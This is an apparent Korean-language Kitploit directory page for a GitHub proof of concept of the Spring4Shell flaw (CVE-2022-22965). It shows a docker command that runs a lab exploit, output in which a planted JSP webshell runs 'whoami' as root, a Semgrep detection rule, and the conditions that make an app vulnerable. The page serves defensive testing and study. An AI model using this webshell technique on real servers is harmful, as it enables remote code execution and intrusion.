Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
springshell-rce-poc — CVE-2022-22965 - CVE-2010-1622 redux | Kitploit
도구/GitHubGitHub/dduarte/springshell-rce-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdduarte/springshell-rce-poc

springshell-rce-poc

CVE-2022-22965 - CVE-2010-1622 redux

저장소 보기
19123년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22965 - 취약한 애플리케이션 및 PoC

시행착오

root@kitploit:~
$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

출력 예시

root@kitploit:~
rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Semgrep를 이용한 식별

root@kitploit:~
$ semgrep --config=semgrep-rule.yml .

Semgrep 규칙 및 테스트 케이스

출력 예시

root@kitploit:~
Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

취약한 애플리케이션 요구 사항1

  • JDK 9 이상
  • WAR 배포를 사용하는 독립형 Tomcat (임베디드 Tomcat 아님)
  • 5.3.18 / 5.2.20 이전의 모든 Spring 버전 (Spring Boot 2.5.12 / 2.6.6 이전)
  • WebDataBinder / InitBinder에 차단 목록 없음
  • POJO로 직접 파라미터 바인딩 (@RequestBody, @RequestQuery 등 사용 안 함)
  • 쓰기 가능한 파일 시스템 (예: webapps/ROOT)

출처

  • https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
  • https://github.com/fengguangbin/spring-rce-war

Footnotes

  1. 알려진 PoC와 유사한 익스플로잇을 가정. 다른 가젯이 있을 수도 있음... ↩

도구 다운로드